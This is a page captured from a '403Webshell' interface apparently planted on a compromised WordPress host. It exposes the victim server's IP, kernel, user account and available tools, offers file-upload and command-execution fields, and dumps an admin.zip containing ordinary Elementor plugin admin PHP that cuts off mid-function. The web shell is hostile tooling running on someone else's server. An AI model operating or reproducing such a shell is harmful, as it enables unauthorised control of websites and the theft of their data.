403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux webm005.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : infrafs ( 43850)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/i/n/f/infrafs/INFRABIKEIT/wp-content/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/i/n/f/infrafs/INFRABIKEIT/wp-content/plugins/admin.zip
PK�2\d�7�notices/base-notice.phpnu�[���<?php
namespace Elementor\Core\Admin\Notices;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

abstract class Base_Notice {
	/**
	 * Determine if the notice should be printed or not.
	 *
	 * @return boolean
	 */
	abstract public function should_print();

	/**
	 * Returns the config of the notice itself.
	 * based on that config the notice will be printed.
	 *
	 * @see \Elementor\Core\Admin\Admin_Notices::admin_notices
	 *
	 * @return array
	 */
	abstract public function get_config();
}
PK�2\�Ve�� notices/elementor-dev-notice.phpnu�[���<?php
namespace Elementor\Core\Admin\Notices;

use Elementor\User;
use Elementor\Plugin;
use Elementor\Core\Experiments\Manager as Experiments_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Elementor_Dev_Notice extends Base_Notice {
	/**
	 * Notice ID.
	 */
	const ID = 'elementor_dev_promote';

	/**
	 * Plugin slug to install.
	 */
	const PLUGIN_SLUG = 'elementor-beta';

	/**
	 * Plugin name.
	 */
	const PLUGIN_NAME = 'elementor-beta/elementor-beta.php';

	/**
	 * Holds the plugins names.
	 *
	 * @var array
	 */
	private $plugins = [];

	/**
	 * If one of those plugin is installed it will show the notice.
	 *
	 * @var string[]
	 */
	private $promotion_plugins = [
		'woocommerce-beta-tester/woocommerce-beta-tester.php',
		'wp-jquery-update-test/wp-jquery-update-test.php',
		'wordpress-beta-tester/wp-beta-tester.php',
		'gutenberg/gutenberg.php',
	];

	/**
	 * If one of those options is enabled it will show the notice.
	 *
	 * @var string[]
	 */
	private $promotion_options = [
		'elementor_beta',
	];

	/**
	 * @inheritDoc
	 */
	public function should_print() {
		return current_user_can( 'install_plugins' ) &&
			! User::is_user_notice_viewed( static::ID ) &&
			! $this->is_elementor_dev_installed() &&
			! $this->is_install_screen() &&
			(
				$this->has_at_least_one_active_experiment() ||
				$this->is_promotion_plugins_installed() ||
				$this->is_promotion_options_enabled()
			);
	}

	/**
	 * @inheritDoc
	 */
	public function get_config() {
		return [
			'id' => static::ID,
			'title' => esc_html__( 'Elementor Developer Edition', 'elementor' ),
			'description' => __(
				'Get a sneak peek at our in progress development versions, and help us improve Elementor to perfection. Developer Edition releases contain experimental functionality for testing purposes.',
				'elementor'
			),
			'button' => [
				'text' => esc_html__( 'Install & Activate', 'elementor' ),
				'url' => wp_nonce_url(
					self_admin_url( 'update.php?action=install-plugin&plugin=' . static::PLUGIN_SLUG ),
					'install-plugin_' . static::PLUGIN_SLUG
				),
				'type' => 'cta',
			],
		];
	}

	/**
	 * Return all the plugins names.
	 *
	 * This method is protected so it can be mocked in tests.
	 *
	 * @return array
	 */
	protected function get_plugins() {
		if ( ! $this->plugins ) {
			$this->plugins = array_keys( get_plugins() );
		}

		return $this->plugins;
	}

	/**
	 * Checks if elementor dev is installed
	 *
	 * @return bool
	 */
	private function is_elementor_dev_installed() {
		return in_array( static::PLUGIN_NAME, $this->get_plugins(), true );
	}

	/**
	 * Checks if the admin screen is install screen.
	 *
	 * @return bool
	 */
	private function is_install_screen() {
		$screen = get_current_screen();

		if ( ! $screen ) {
			return false;
		}

		return 'update' === $screen->id;
	}

	/**
	 * Checks if is one of the promotion plugins is installed
	 *
	 * @return bool
	 */
	private function is_promotion_plugins_installed() {
		return array_reduce( $this->promotion_plugins, function ( $should_show_notice, $plugin_name ) {
			if ( $should_show_notice ) {
				return true;
			}

			return in_array( $plugin_name, $this->get_plugins(), true );
		}, false );
	}

	/**
	 * Checks if is one of the promotion options is enable.
	 *
	 * @return bool
	 */
	private function is_promotion_options_enabled() {
		return array_reduce( $this->promotion_options, function ( $should_show_notice, $option ) {
			if ( $should_show_notice ) {
				return true;
			}

			return 'yes' === get_option( $option, 'no' );
		}, false );
	}

	/**
	 * Checks if as at least one active experiment (The state must be "active" and not default-active).
	 *
	 * @return bool
	 */
	private function has_at_least_one_active_experiment() {
		foreach ( Plugin::$instance->experiments->get_features() as $feature_name => $feature ) {
			if ( Experiments_Manager::STATE_ACTIVE === $feature['state'] ) {
				return true;
			}
		}

		return false;
	}
}
PK�2\lZP<"["[	admin.phpnu�[���<?php
namespace Elementor\Core\Admin;

use Elementor\Api;
use Elementor\Beta_Testers;
use Elementor\Core\Base\App;
use Elementor\Plugin;
use Elementor\Settings;
use Elementor\User;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Admin extends App {

	/**
	 * Get module name.
	 *
	 * Retrieve the module name.
	 *
	 * @since 2.3.0
	 * @access public
	 *
	 * @return string Module name.
	 */
	public function get_name() {
		return 'admin';
	}

	/**
	 * @since 2.2.0
	 * @access public
	 */
	public function maybe_redirect_to_getting_started() {
		if ( ! get_transient( 'elementor_activation_redirect' ) ) {
			return;
		}

		if ( wp_doing_ajax() ) {
			return;
		}

		delete_transient( 'elementor_activation_redirect' );

		if ( is_network_admin() || isset( $_GET['activate-multi'] ) ) {
			return;
		}

		global $wpdb;

		$has_elementor_page = ! ! $wpdb->get_var( "SELECT `post_id` FROM `{$wpdb->postmeta}` WHERE `meta_key` = '_elementor_edit_mode' LIMIT 1;" );

		if ( $has_elementor_page ) {
			return;
		}

		wp_safe_redirect( admin_url( 'admin.php?page=elementor-getting-started' ) );

		exit;
	}

	/**
	 * Enqueue admin scripts.
	 *
	 * Registers all the admin scripts and enqueues them.
	 *
	 * Fired by `admin_enqueue_scripts` action.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function enqueue_scripts() {
		wp_register_script(
			'elementor-admin',
			$this->get_js_assets_url( 'admin' ),
			[
				'elementor-common',
			],
			ELEMENTOR_VERSION,
			true
		);

		wp_enqueue_script( 'elementor-admin' );

		$this->print_config();
	}

	/**
	 * Enqueue admin styles.
	 *
	 * Registers all the admin styles and enqueues them.
	 *
	 * Fired by `admin_enqueue_scripts` action.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function enqueue_styles() {
		$direction_suffix = is_rtl() ? '-rtl' : '';

		wp_register_style(
			'elementor-admin',
			$this->get_css_assets_url( 'admin' . $direction_suffix ),
			[
				'elementor-common',
			],
			ELEMENTOR_VERSION
		);

		wp_enqueue_style( 'elementor-admin' );

		// It's for upgrade notice.
		// TODO: enqueue this just if needed.
		add_thickbox();
	}

	/**
	 * Print switch mode button.
	 *
	 * Adds a switch button in post edit screen (which has cpt support). To allow
	 * the user to switch from the native WordPress editor to Elementor builder.
	 *
	 * Fired by `edit_form_after_title` action.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param \WP_Post $post The current post object.
	 */
	public function print_switch_mode_button( $post ) {
		// Exit if Gutenberg are active.
		if ( did_action( 'enqueue_block_editor_assets' ) ) {
			return;
		}

		$document = Plugin::$instance->documents->get( $post->ID );

		if ( ! $document || ! $document->is_editable_by_current_user() ) {
			return;
		}

		wp_nonce_field( basename( __FILE__ ), '_elementor_edit_mode_nonce' );
		?>
		<div id="elementor-switch-mode">
			<input id="elementor-switch-mode-input" type="hidden" name="_elementor_post_mode" value="<?php echo esc_attr( $document->is_built_with_elementor() ); ?>" />
			<button id="elementor-switch-mode-button" type="button" class="button button-primary button-hero">
				<span class="elementor-switch-mode-on">
					<i class="eicon-arrow-<?php echo ( is_rtl() ) ? 'right' : 'left'; ?>" aria-hidden="true"></i>
					<?php echo esc_html__( 'Back to WordPress Editor', 'elementor' ); ?>
				</span>
				<span class="elementor-switch-mode-off">
					<i class="eicon-elementor-square" aria-hidden="true"></i>
					<?php echo esc_html__( 'Edit with Elementor', 'elementor' ); ?>
				</span>
			</button>
		</div>
		<div id="elementor-editor">
			<a id="elementor-go-to-edit-page-link" href="<?php echo esc_url( $document->get_edit_url() ); ?>">
				<div id="elementor-editor-button" class="button button-primary button-hero">
					<i class="eicon-elementor-square" aria-hidden="true"></i>
					<?php echo esc_html__( 'Edit with Elementor', 'elementor' ); ?>
				</div>
				<div class="elementor-loader-wrapper">
					<div class="elementor-loader">
						<div class="elementor-loader-boxes">
							<div class="elementor-loader-box"></div>
							<div class="elementor-loader-box"></div>
							<div class="elementor-loader-box"></div>
							<div class="elementor-loader-box"></div>
						</div>
					</div>
					<div class="elementor-loading-title"><?php echo esc_html__( 'Loading', 'elementor' ); ?></div>
				</div>
			</a>
		</div>
		<?php
	}

	/**
	 * Save post.
	 *
	 * Flag the post mode when the post is saved.
	 *
	 * Fired by `save_post` action.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param int $post_id Post ID.
	 */
	public function save_post( $post_id ) {
		if ( ! isset( $_POST['_elementor_edit_mode_nonce'] ) || ! wp_verify_nonce( $_POST['_elementor_edit_mode_nonce'], basename( __FILE__ ) ) ) {
			return;
		}

		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
			return;
		}

		Plugin::$instance->documents->get( $post_id )->set_is_built_with_elementor( ! empty( $_POST['_elementor_post_mode'] ) );
	}

	/**
	 * Add Elementor post state.
	 *
	 * Adds a new "Elementor" post state to the post table.
	 *
	 * Fired by `display_post_states` filter.
	 *
	 * @since 1.8.0
	 * @access public
	 *
	 * @param array    $post_states An array of post display states.
	 * @param \WP_Post $post        The current post object.
	 *
	 * @return array A filtered array of post display states.
	 */
	public function add_elementor_post_state( $post_states, $post ) {
		$document = Plugin::$instance->documents->get( $post->ID );

		if ( $document && $document->is_built_with_elementor() && $document->is_editable_by_current_user() ) {
			$post_states['elementor'] = esc_html__( 'Elementor', 'elementor' );
		}

		return $post_states;
	}

	/**
	 * Body status classes.
	 *
	 * Adds CSS classes to the admin body tag.
	 *
	 * Fired by `admin_body_class` filter.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param string $classes Space-separated list of CSS classes.
	 *
	 * @return string Space-separated list of CSS classes.
	 */
	public function body_status_classes( $classes ) {
		global $pagenow;

		if ( in_array( $pagenow, [ 'post.php', 'post-new.php' ], true ) && Utils::is_post_support() ) {
			$post = get_post();

			$document = Plugin::$instance->documents->get( $post->ID );

			$mode_class = $document && $document->is_built_with_elementor() ? 'elementor-editor-active' : 'elementor-editor-inactive';

			$classes .= ' ' . $mode_class;
		}

		return $classes;
	}

	/**
	 * Plugin action links.
	 *
	 * Adds action links to the plugin list table
	 *
	 * Fired by `plugin_action_links` filter.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param array $links An array of plugin action links.
	 *
	 * @return array An array of plugin action links.
	 */
	public function plugin_action_links( $links ) {
		$settings_link = sprintf( '<a href="%1$s">%2$s</a>', admin_url( 'admin.php?page=' . Settings::PAGE_ID ), esc_html__( 'Settings', 'elementor' ) );

		array_unshift( $links, $settings_link );

		$links['go_pro'] = sprintf( '<a href="%1$s" target="_blank" class="elementor-plugins-gopro">%2$s</a>', Utils::get_pro_link( 'https://elementor.com/pro/?utm_source=wp-plugins&utm_campaign=gopro&utm_medium=wp-dash' ), esc_html__( 'Go Pro', 'elementor' ) );

		return $links;
	}

	/**
	 * Plugin row meta.
	 *
	 * Adds row meta links to the plugin list table
	 *
	 * Fired by `plugin_row_meta` filter.
	 *
	 * @since 1.1.4
	 * @access public
	 *
	 * @param array  $plugin_meta An array of the plugin's metadata, including
	 *                            the version, author, author URI, and plugin URI.
	 * @param string $plugin_file Path to the plugin file, relative to the plugins
	 *                            directory.
	 *
	 * @return array An array of plugin row meta links.
	 */
	public function plugin_row_meta( $plugin_meta, $plugin_file ) {
		if ( ELEMENTOR_PLUGIN_BASE === $plugin_file ) {
			$row_meta = [
				'docs' => '<a href="https://go.elementor.com/docs-admin-plugins/" aria-label="' . esc_attr( esc_html__( 'View Elementor Documentation', 'elementor' ) ) . '" target="_blank">' . esc_html__( 'Docs & FAQs', 'elementor' ) . '</a>',
				'ideo' => '<a href="https://go.elementor.com/yt-admin-plugins/" aria-label="' . esc_attr( esc_html__( 'View Elementor Video Tutorials', 'elementor' ) ) . '" target="_blank">' . esc_html__( 'Video Tutorials', 'elementor' ) . '</a>',
			];

			$plugin_meta = array_merge( $plugin_meta, $row_meta );
		}

		return $plugin_meta;
	}

	/**
	 * Admin footer text.
	 *
	 * Modifies the "Thank you" text displayed in the admin footer.
	 *
	 * Fired by `admin_footer_text` filter.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param string $footer_text The content that will be printed.
	 *
	 * @return string The content that will be printed.
	 */
	public function admin_footer_text( $footer_text ) {
		$current_screen = get_current_screen();
		$is_elementor_screen = ( $current_screen && false !== strpos( $current_screen->id, 'elementor' ) );

		if ( $is_elementor_screen ) {
			$footer_text = sprintf(
				/* translators: 1: Elementor, 2: Link to plugin review */
				__( 'Enjoyed %1$s? Please leave us a %2$s rating. We really appreciate your support!', 'elementor' ),
				'<strong>' . esc_html__( 'Elementor', 'elementor' ) . '</strong>',
				'<a href="https://go.elementor.com/admin-review/" target="_blank">&#9733;&#9733;&#9733;&#9733;&#9733;</a>'
			);
		}

		return $footer_text;
	}

	/**
	 * Register dashboard widgets.
	 *
	 * Adds a new Elementor widgets to WordPress dashboard.
	 *
	 * Fired by `wp_dashboard_setup` action.
	 *
	 * @since 1.9.0
	 * @access public
	 */
	public function register_dashboard_widgets() {
		wp_add_dashboard_widget( 'e-dashboard-overview', esc_html__( 'Elementor Overview', 'elementor' ), [ $this, 'elementor_dashboard_overview_widget' ] );

		// Move our widget to top.
		global $wp_meta_boxes;

		$dashboard = $wp_meta_boxes['dashboard']['normal']['core'];
		$ours = [
			'e-dashboard-overview' => $dashboard['e-dashboard-overview'],
		];

		$wp_meta_boxes['dashboard']['normal']['core'] = array_merge( $ours, $dashboard ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
	}

	/**
	 * Elementor dashboard widget.
	 *
	 * Displays the Elementor dashboard widget.
	 *
	 * Fired by `wp_add_dashboard_widget` function.
	 *
	 * @since 1.9.0
	 * @access public
	 */
	public function elementor_dashboard_overview_widget() {
		$elementor_feed = Api::get_feed_data();
		$recently_edited_query = Utils::get_recently_edited_posts_query();

		if ( User::is_current_user_can_edit_post_type( 'page' ) ) {
			$create_new_label = esc_html__( 'Create New Page', 'elementor' );
			$create_new_post_type = 'page';
		} elseif ( User::is_current_user_can_edit_post_type( 'post' ) ) {
			$create_new_label = esc_html__( 'Create New Post', 'elementor' );
			$create_new_post_type = 'post';
		}
		?>
		<div class="e-dashboard-widget">
			<div class="e-overview__header">
				<div class="e-overview__logo"><div class="e-logo-wrapper"><i class="eicon-elementor"></i></div></div>
				<div class="e-overview__versions">
					<span class="e-overview__version"><?php echo esc_html__( 'Elementor', 'elementor' ); ?> v<?php echo ELEMENTOR_VERSION; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?></span>
					<?php
					/**
					 * Elementor dashboard widget after the version.
					 *
					 * Fires after Elementor version display in the dashboard widget.
					 *
					 * @since 1.9.0
					 */
					do_action( 'elementor/admin/dashboard_overview_widget/after_version' );
					?>
				</div>
				<?php if ( ! empty( $create_new_post_type ) ) : ?>
					<div class="e-overview__create">
						<a href="<?php echo esc_url( Plugin::$instance->documents->get_create_new_post_url( $create_new_post_type ) ); ?>" class="button"><span aria-hidden="true" class="dashicons dashicons-plus"></span> <?php echo esc_html( $create_new_label ); ?></a>
					</div>
				<?php endif; ?>
			</div>
			<?php if ( $recently_edited_query->have_posts() ) : ?>
				<div class="e-overview__recently-edited">
					<h3 class="e-heading e-divider_bottom"><?php echo esc_html__( 'Recently Edited', 'elementor' ); ?></h3>
					<ul class="e-overview__posts">
						<?php
						while ( $recently_edited_query->have_posts() ) :
							$recently_edited_query->the_post();
							$document = Plugin::$instance->documents->get( get_the_ID() );

							$date = date_i18n( _x( 'M jS', 'Dashboard Overview Widget Recently Date', 'elementor' ), get_the_modified_time( 'U' ) );
							?>
							<li class="e-overview__post">
								<a href="<?php echo esc_attr( $document->get_edit_url() ); ?>" class="e-overview__post-link"><?php echo esc_html( get_the_title() ); ?> <span class="dashicons dashicons-edit"></span></a> <span><?php echo $date; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>, <?php the_time(); ?></span>
							</li>
						<?php endwhile; ?>
					</ul>
				</div>
			<?php endif; ?>
			<?php if ( ! empty( $elementor_feed ) ) : ?>
				<div class="e-overview__feed">
					<h3 class="e-heading e-divider_bottom"><?php echo esc_html__( 'News & Updates', 'elementor' ); ?></h3>
					<ul class="e-overview__posts">
						<?php foreach ( $elementor_feed as $feed_item ) : ?>
							<li class="e-overview__post">
								<a href="<?php echo esc_url( $feed_item['url'] ); ?>" class="e-overview__post-link" target="_blank">
									<?php if ( ! empty( $feed_item['badge'] ) ) : ?>
										<span class="e-overview__badge"><?php echo esc_html( $feed_item['badge'] ); ?></span>
									<?php endif; ?>
									<?php echo esc_html( $feed_item['title'] ); ?>
								</a>
								<p class="e-overview__post-description"><?php echo esc_html( $feed_item['excerpt'] ); ?></p>
							</li>
						<?php endforeach; ?>
					</ul>
				</div>
			<?php endif; ?>
			<div class="e-overview__footer e-divider_top">
				<ul>
					<?php foreach ( $this->get_dashboard_overview_widget_footer_actions() as $action_id => $action ) : ?>
						<li class="e-overview__<?php echo esc_attr( $action_id ); ?>"><a href="<?php echo esc_attr( $action['link'] ); ?>" target="_blank"><?php echo esc_html( $action['title'] ); ?> <span class="screen-reader-text"><?php echo esc_html__( '(opens in a new window)', 'elementor' ); ?></span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></li>
					<?php endforeach; ?>
				</ul>
			</div>
		</div>
		<?php
	}

	/**
	 * Get elementor dashboard overview widget footer actions.
	 *
	 * Retrieves the footer action links displayed in elementor dashboard widget.
	 *
	 * @since 1.9.0
	 * @access private
	 */
	private function get_dashboard_overview_widget_footer_actions() {
		$base_actions = [
			'blog' => [
				'title' => esc_html__( 'Blog', 'elementor' ),
				'link' => 'https://go.elementor.com/overview-widget-blog/',
			],
			'help' => [
				'title' => esc_html__( 'Help', 'elementor' ),
				'link' => 'https://go.elementor.com/overview-widget-docs/',
			],
		];

		$additions_actions = [
			'go-pro' => [
				'title' => esc_html__( 'Go Pro', 'elementor' ),
				'link' => Utils::get_pro_link( 'https://elementor.com/pro/?utm_source=wp-overview-widget&utm_campaign=gopro&utm_medium=wp-dash' ),
			],
		];

		// Visible to all core users when Elementor Pro is not installed.
		$additions_actions['find_an_expert'] = [
			'title' => esc_html__( 'Find an Expert', 'elementor' ),
			'link' => 'https://go.elementor.com/go-pro-find-an-expert',
		];

		/**
		 * Dashboard widget footer actions.
		 *
		 * Filters the additions actions displayed in Elementor dashboard widget.
		 *
		 * Developers can add new action links to Elementor dashboard widget
		 * footer using this filter.
		 *
		 * @since 1.9.0
		 *
		 * @param array $additions_actions Elementor dashboard widget footer actions.
		 */
		$additions_actions = apply_filters( 'elementor/admin/dashboard_overview_widget/footer_actions', $additions_actions );

		$actions = $base_actions + $additions_actions;

		return $actions;
	}

	/**
	 * Admin action new post.
	 *
	 * When a new post action is fired the title is set to 'Elementor' and the post ID.
	 *
	 * Fired by `admin_action_elementor_new_post` action.
	 *
	 * @since 1.9.0
	 * @access public
	 */
	public function admin_action_new_post() {
		check_admin_referer( 'elementor_action_new_post' );

		if ( empty( $_GET['post_type'] ) ) {
			$post_type = 'post';
		} else {
			$post_type = $_GET['post_type'];
		}

		if ( ! User::is_current_user_can_edit_post_type( $post_type ) ) {
			return;
		}

		if ( empty( $_GET['template_type'] ) ) {
			$type = 'post';
		} else {
			$type = sanitize_text_field( $_GET['template_type'] );
		}

		$post_data = isset( $_GET['post_data'] ) ? $_GET['post_data'] : [];

		$meta = [];

		/**
		 * Create new post meta data.
		 *
		 * Filters the meta data of any new post created.
		 *
		 * @since 2.0.0
		 *
		 * @param array $meta Post meta data.
		 */
		$meta = apply_filters( 'elementor/admin/create_new_post/meta', $meta );

		$post_data['post_type'] = $post_type;

		$document = Plugin::$instance->documents->create( $type, $post_data, $meta );

		if ( is_wp_error( $document ) ) {
			wp_die( $document ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		}

		wp_redirect( $document->get_edit_url() );

		die;
	}

	/**
	 * @since 2.3.0
	 * @access public
	 */
	public function add_new_template_template() {
		Plugin::$instance->common->add_template( ELEMENTOR_PATH . 'includes/admin-templates/new-template.php' );
	}

	/**
	 * @access public
	 */
	public function enqueue_new_template_scripts() {
		$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';

		wp_enqueue_script(
			'elementor-new-template',
			ELEMENTOR_ASSETS_URL . 'js/new-template' . $suffix . '.js',
			[],
			ELEMENTOR_VERSION,
			true
		);
	}

	/**
	 * @since 2.6.0
	 * @access public
	 */
	public function add_beta_tester_template() {
		Plugin::$instance->common->add_template( ELEMENTOR_PATH . 'includes/admin-templates/beta-tester.php' );
	}

	/**
	 * @access public
	 */
	public function enqueue_beta_tester_scripts() {
		$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';

		wp_enqueue_script(
			'elementor-beta-tester',
			ELEMENTOR_ASSETS_URL . 'js/beta-tester' . $suffix . '.js',
			[],
			ELEMENTOR_VERSION,
			true
		);
	}

	/**
	 * @access public
	 */
	public function init_new_template() {
		if ( 'edit-elementor_library' !== get_current_screen()->id ) {
			return;
		}

		// Allow plugins to add their templates on admin_head.
		add_action( 'admin_head', [ $this, 'add_new_template_template' ] );
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_new_template_scripts' ] );
	}

	public function version_update_warning( $current_version, $new_version ) {
		$current_version_minor_part = explode( '.', $current_version )[1];
		$new_version_minor_part = explode( '.', $new_version )[1];

		if ( $current_version_minor_part === $new_version_minor_part ) {
			return;
		}
		?>
		<hr class="e-major-update-warning__separator" />
		<div class="e-major-update-warning">
			<div class="e-major-update-warning__icon">
				<i class="eicon-info-circle"></i>
			</div>
			<div>
				<div class="e-major-update-warning__title">
					<?php echo esc_html__( 'Heads up, Please backup before upgrade!', 'elementor' ); ?>
				</div>
				<div class="e-major-update-warning__message">
					<?php
						printf(
							/* translators: %1$s Link open tag, %2$s: Link close tag. */
							esc_html__( 'The latest update includes some substantial changes across different areas of the plugin. We highly recommend you %1$sbackup your site before upgrading%2$s, and make sure you first update in a staging environment', 'elementor' ),
							'<a href="https://go.elementor.com/wp-dash-update-backup/">',
							'</a>'
						);
					?>
				</div>
			</div>
		</div>
		<?php
	}

	/**
	 * @access public
	 */
	public function init_beta_tester( $current_screen ) {
		if ( ( 'toplevel_page_elementor' === $current_screen->base ) || 'elementor_page_elementor-tools' === $current_screen->id ) {
			add_action( 'admin_head', [ $this, 'add_beta_tester_template' ] );
			add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_beta_tester_scripts' ] );
		}
	}

	/**
	 * Admin constructor.
	 *
	 * Initializing Elementor in WordPress admin.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function __construct() {
		Plugin::$instance->init_common();

		$this->add_component( 'feedback', new Feedback() );
		$this->add_component( 'canary-deployment', new Canary_Deployment() );
		$this->add_component( 'admin-notices', new Admin_Notices() );

		add_action( 'admin_init', [ $this, 'maybe_redirect_to_getting_started' ] );

		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_scripts' ] );
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_styles' ] );

		add_action( 'edit_form_after_title', [ $this, 'print_switch_mode_button' ] );
		add_action( 'save_post', [ $this, 'save_post' ] );

		add_filter( 'display_post_states', [ $this, 'add_elementor_post_state' ], 10, 2 );

		add_filter( 'plugin_action_links_' . ELEMENTOR_PLUGIN_BASE, [ $this, 'plugin_action_links' ] );
		add_filter( 'plugin_row_meta', [ $this, 'plugin_row_meta' ], 10, 2 );

		add_filter( 'admin_body_class', [ $this, 'body_status_classes' ] );
		add_filter( 'admin_footer_text', [ $this, 'admin_footer_text' ] );

		// Register Dashboard Widgets.
		add_action( 'wp_dashboard_setup', [ $this, 'register_dashboard_widgets' ] );

		// Admin Actions
		add_action( 'admin_action_elementor_new_post', [ $this, 'admin_action_new_post' ] );

		add_action( 'current_screen', [ $this, 'init_new_template' ] );
		add_action( 'current_screen', [ $this, 'init_beta_tester' ] );

		add_action( 'in_plugin_update_message-' . ELEMENTOR_PLUGIN_BASE, function( $plugin_data ) {
			$this->version_update_warning( ELEMENTOR_VERSION, $plugin_data['new_version'] );
		} );
	}

	/**
	 * @since 2.3.0
	 * @access protected
	 */
	protected function get_init_settings() {
		$beta_tester_email = get_user_meta( get_current_user_id(), User::BETA_TESTER_META_KEY, true );
		$elementor_beta = get_option( 'elementor_beta', 'no' );
		$all_introductions = User::get_introduction_meta();
		$beta_tester_signup_dismissed = array_key_exists( Beta_Testers::BETA_TESTER_SIGNUP, $all_introductions );

		$settings = [
			'home_url' => home_url(),
			'settings_url' => Settings::get_url(),
			'user' => [
				'introduction' => User::get_introduction_meta(),
			],
			'beta_tester' => [
				'beta_tester_signup' => Beta_Testers::BETA_TESTER_SIGNUP,
				'has_email' => $beta_tester_email,
				'option_enabled' => 'no' !== $elementor_beta,
				'signup_dismissed' => $beta_tester_signup_dismissed,
			],
		];

		/**
		 * Localize settings.
		 *
		 * Filters the initial localize settings in the admin.
		 *
		 * WordPress has it's own way to pass localized data from PHP (backend) to
		 * JS (frontend). Elementor uses this method to pass localize data in the
		 * admin. This hook can be used to add more localized settings in addition
		 * to the initial Elementor settings.
		 *
		 * @since 2.3.0
		 *
		 * @param array $settings Initial localize settings.
		 */
		$settings = apply_filters( 'elementor/admin/localize_settings', $settings );

		return $settings;
	}
}
PK�2\�����canary-deployment.phpnu�[���<?php
namespace Elementor\Core\Admin;

use Elementor\Api;
use Elementor\Core\Base\Module;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Canary_Deployment extends Module {

	const CURRENT_VERSION = ELEMENTOR_VERSION;
	const PLUGIN_BASE = ELEMENTOR_PLUGIN_BASE;

	private $canary_deployment_info = null;

	/**
	 * Get module name.
	 *
	 * Retrieve the module name.
	 *
	 * @since  2.6.0
	 * @access public
	 *
	 * @return string Module name.
	 */
	public function get_name() {
		return 'canary-deployment';
	}

	/**
	 * Check version.
	 *
	 * @since 2.6.0
	 * @access public
	 *
	 * @param object $transient Plugin updates data.
	 *
	 * @return object Plugin updates data.
	 */
	public function check_version( $transient ) {
		// First transient before the real check.
		if ( ! isset( $transient->response ) ) {
			return $transient;
		}

		// Placeholder
		$stable_version = '0.0.0';

		if ( ! empty( $transient->response[ static::PLUGIN_BASE ]->new_version ) ) {
			$stable_version = $transient->response[ static::PLUGIN_BASE ]->new_version;
		}

		if ( null === $this->canary_deployment_info ) {
			$this->canary_deployment_info = $this->get_canary_deployment_info();
		}

		// Can be false - if canary version is not available.
		if ( empty( $this->canary_deployment_info ) ) {
			return $transient;
		}

		if ( ! version_compare( $this->canary_deployment_info['new_version'], $stable_version, '>' ) ) {
			return $transient;
		}

		$canary_deployment_info = $this->canary_deployment_info;

		// Most of plugin info comes from the $transient but on first check - the response is empty.
		if ( ! empty( $transient->response[ static::PLUGIN_BASE ] ) ) {
			$canary_deployment_info = array_merge( (array) $transient->response[ static::PLUGIN_BASE ], $canary_deployment_info );
		}

		$transient->response[ static::PLUGIN_BASE ] = (object) $canary_deployment_info;

		return $transient;
	}

	protected function get_canary_deployment_remote_info( $force ) {
		return Api::get_canary_deployment_info( $force );
	}

	private function get_canary_deployment_info() {
		global $pagenow;

		$force = 'update-core.php' === $pagenow && isset( $_GET['force-check'] );

		$canary_deployment = $this->get_canary_deployment_remote_info( $force );

		if ( empty( $canary_deployment['plugin_info']['new_version'] ) ) {
			return false;
		}

		$canary_version = $canary_deployment['plugin_info']['new_version'];

		if ( version_compare( $canary_version, static::CURRENT_VERSION, '<=' ) ) {
			return false;
		}

		if ( ! empty( $canary_deployment['conditions'] ) && ! $this->check_conditions( $canary_deployment['conditions'] ) ) {
			return false;
		}

		return $canary_deployment['plugin_info'];
	}

	private function check_conditions( $groups ) {
		foreach ( $groups as $group ) {
			if ( $this->check_group( $group ) ) {
				return true;
			}
		}

		return false;
	}

	private function check_group( $group ) {
		$is_or_relation = ! empty( $group['relation'] ) && 'OR' === $group['relation'];
		unset( $group['relation'] );
		$result = false;

		foreach ( $group as $condition ) {
			// Reset results for each condition.
			$result = false;
			switch ( $condition['type'] ) {
				case 'wordpress': // phpcs:ignore WordPress.WP.CapitalPDangit.Misspelled
					// include an unmodified $wp_version
					include ABSPATH . WPINC . '/version.php';
					$result = version_compare( $wp_version, $condition['version'], $condition['operator'] );
					break;
				case 'multisite':
					$result = is_multisite() === $condition['multisite'];
					break;
				case 'language':
					$in_array = in_array( get_locale(), $condition['languages'], true );
					$result = 'in' === $condition['operator'] ? $in_array : ! $in_array;
					break;
				case 'plugin':
					if ( ! empty( $condition['plugin_file'] ) ) {
						$plugin_file = $condition['plugin_file']; // For PHP Unit tests.
					} else {
						$plugin_file = WP_PLUGIN_DIR . '/' . $condition['plugin']; // Default.
					}

					$version = '';

					if ( is_plugin_active( $condition['plugin'] ) && file_exists( $plugin_file ) ) {
